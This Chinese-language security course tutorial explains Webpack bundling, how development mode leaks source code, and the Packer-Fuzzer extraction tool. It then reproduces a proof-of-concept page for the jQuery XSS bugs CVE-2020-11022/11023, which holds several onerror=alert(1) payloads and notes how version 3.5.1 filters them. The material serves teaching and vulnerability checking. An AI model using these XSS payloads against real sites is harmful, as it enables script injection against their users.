当前位置：首页 > news >正文

第31天：安全开发-JS应用WebPack打包器第三方库JQuery安装使用安全检测

news 2026/2/10 21:42:41

时间轴：

演示案例：

打包器-WebPack-使用&安全

第三方库-JQuery-使用&安全

打包器-WebPack-使用&安全

参考：https://mp.weixin.qq.com/s/J3bpy-SsCnQ1lBov1L98WA

Webpack 是一个模块打包器。在 Webpack 中会将前端的所有资源文件都作为模块处理。它将根据模块的依赖关系进行分析，生成对应的资源。

五个核心概念:

1. 【入口(entry)】：指示 webpack 应该使用哪个模块，来作为构建内部依赖图开始。

2. 【输出(output)】：在哪里输出文件，以及如何命名这些文件。

3. 【Loader】：处理那些非 JavaScript 文件（webpack 自身只能解析 JavaScript 和 json）。webpack 本身只能处理 JS、JSON 模块，如果要加载其他类型的文件(模块)，就需要使用对应的 loader。

4. 【插件(plugins)】：执行范围更广的任务，从打包到优化都可以实现。

5. 【模式(mode)】：有生产模式 production 和开发模式 development。

development开发模式源码会泄露，production不会泄露源码。

使用：

1、创建需打包文件

2、安装 webpack 库

3、创建 webpack 配置文件

4、运行 webpack 打包命令

Webpack使用：

webpack就是减少了文件的调用，使用一个文件就可以包含其他文件的内容。

下面这两个放入js文件中：

sum.js:

export default function sum(x,y){return x+y;
}

count.js:

export default function count(x,y){return x-y;
}

main.js和js放在同一目录。

main.js:

import count from "./js/count"; //调用js中的count函数
import sum from "./js/sum";     //调用js中的sum函数console.log(count(2,1));
console.log(sum(2,1));

index.html:

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body><!-- <script src="src/js/sum.js"></script><script src="src/js/count.js"></script> <script src="src/main.js"></script> -->  //使用此函数将不用在一步步调用以上函数及文件<script src="dist/bundle.js"></script>   //使用打包得到的bundle.js
</body>
</html>

全局安装webpack：(在终端输入)

npm i webpack-cli -g

创建webpack.config.js(配置文件)（最好不要改名）

const path = require('path'); // 引入path模块
// entry：输入是src下的mian文件
// output: 输出在dist文件夹下额bundle.js
module.exports = {entry: './src/main.js',output: {path: path.resolve(__dirname, 'dist'),   //将文件打包在dist目录下filename: 'bundle.js',clean: true,},mode:"development",    //源码会泄露//mode:"production",};

运行使用：（在终端输入）

npx webpack

运行结果：

使用打包器和不适用打包器的区别：

使用打包器：

<body><script src="dist/bundle.js"></script>   //使用打包得到的bundle.js
</body>

不使用打包器：

<body><script src="src/js/sum.js"></script><script src="src/js/count.js"></script> <script src="src/main.js"></script>
</body>

development模式和production模式的区别：

development模式：

开发者模式几乎可以看到全部文件及内容（development）

production模式：（切换模式时需要重新打包）

只有(()=>{"use strict";console.log(1),console.log(3)})();直接显示结果

安全：

1、WebPack 源码泄漏-模式选择

development和production模式选择。

developmen会泄露源码，production不会泄露源码。

2、模糊提取安全检查-PacketFuzzer

https://github.com/rtcatc/Packer-Fuzzer

原生态 JS：前端语言直接浏览器显示源代码

NodeJS：服务段语言浏览器不显示源代码

WebPack：打包模式选择开发者模式后会造成源码泄漏（nodejs vue）

原本node.js是不会泄露源码的，但使用了development模式后可能会泄露源码。

真实案例：

顺丰快递（已被修复）

可以看到由vue进行的搭建

PacketFuzzer：

用来提取Web关键信息的。

第三方库-JQuery-使用&安全

jQuery 是一个快速、简洁的 JavaScript 框架,是一个丰富的 JavaScript 代码库。设计目的是为了写更少的代码，做更多的事情。它封装 JavaScript 常用功能代码，提供一种简便的 JavaScript 设计模式，优化 HTML 文档操作、事件处理、动画设计和 Ajax 交互。

1、使用：

引用路径：https://www.jq22.com/jquery-info122

2、安全：

检测：http://research.insecurelabs.org/jquery/test/

测试：

CVE-2020-11022/CVE-2020-11023

参考:

https://blog.csdn.net/weixin_44309905/article/details/120902867

jquery漏洞总结:
https://cloud.tencent.com/developer/article/1516331

如何搜索到第三方库：

搜索方式：

结果：

案例演示：Jquery不同版本漏洞

网页代码：

<!DOCTYPE html>
<html>
<head><meta charset="utf-8"><title>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</title><script src="https://code.jquery.com/jquery-3.5.1.min.js"></script><!-- <script src="https://code.jquery.com/jquery-3.4.1.min.js"></script> -->
</head>
<body>
<script>
function test(n,jq){sanitizedHTML = document.getElementById('poc'+n).innerHTML;if(jq){$('#div').html(sanitizedHTML);}else{div.innerHTML=sanitizedHTML;}
}
</script>
<h1>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</h1>
<p>PoCs of XSS bugs fixed in <a href="https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/">jQuery 3.5.0</a>. You can find the details in my blog post: <a href="//mksben.l0.cm/2020/05/jquery3.5.0-xss.html">English</a> / <a href="//masatokinugawa.l0.cm/2020/05/jquery3.5.0-xss.html">日本語</a></p><h2>PoC 1</h2>
<button onclick="test(1)">Assign to innerHTML</button> <button onclick="test(1,true)">Append via .html()</button>
<xmp id="poc1">
<style><style /><img src=yy onerror=alert(1)> 
</xmp><h2>PoC 2 (Only jQuery 3.x affected)</h2>
<button onclick="test(2)">Assign to innerHTML</button> <button onclick="test(2,true)">Append via .html()</button>
<xmp id="poc2">
<img alt="<x" title="/><img src=yy onerror=alert(1)>">
</xmp><h2>PoC 3</h2>
<button onclick="test(3)">Assign to innerHTML</button> <button onclick="test(3,true)">Append via .html()</button>
<xmp id="poc3">
<option><style></option></select><img src=yy onerror=alert(1)></style>
</xmp><div id="div"></div>
</body>
</html>

代码逻辑：

为什么写在前面的alert（1）弹窗，因为他放在<xmp>代码中。

jquery版本3.4.1版本：（会显示弹窗）

此次点击Append via.html()会显示弹窗

jquery版本3.5.1版本：（点击后没有弹窗）

此次是点击append via.html()没有弹窗。

总结：

Jquery内置的过滤：

本身dom：
<style><style /><img src=yy οnerrοr=alert(1)>

3.5.1：
<style><style /><img src=yy οnerrοr=alert(1)> </style>

3.4.1：
<style><style ></style><img src="yy" οnerrοr="alert(1)">

利用漏洞：
版本符合，<style><style ></style><img src="yy" οnerrοr="alert(1)"> 值可控就可以造成xss

能够造成漏洞的原因：

内置过滤：

jQuery框架漏洞全总结及开发建议_jquery漏洞-CSDN博客

此文章由李豆豆喵和番薯小羊卷~共同完成。

时间轴：

演示案例：

打包器-WebPack-使用&安全

Webpack使用：

sum.js:

count.js:

main.js:

index.html:

全局安装webpack：(在终端输入)

创建webpack.config.js(配置文件)（最好不要改名）

运行使用：（在终端输入）

运行结果：

使用打包器和不适用打包器的区别：

development模式和production模式的区别：

安全：

真实案例：

PacketFuzzer：

第三方库-JQuery-使用&安全

案例演示：Jquery不同版本漏洞

网页代码：

代码逻辑：

jquery版本3.4.1版本：（会显示弹窗）

jquery版本3.5.1版本：（点击后没有弹窗）

总结：

相关文章：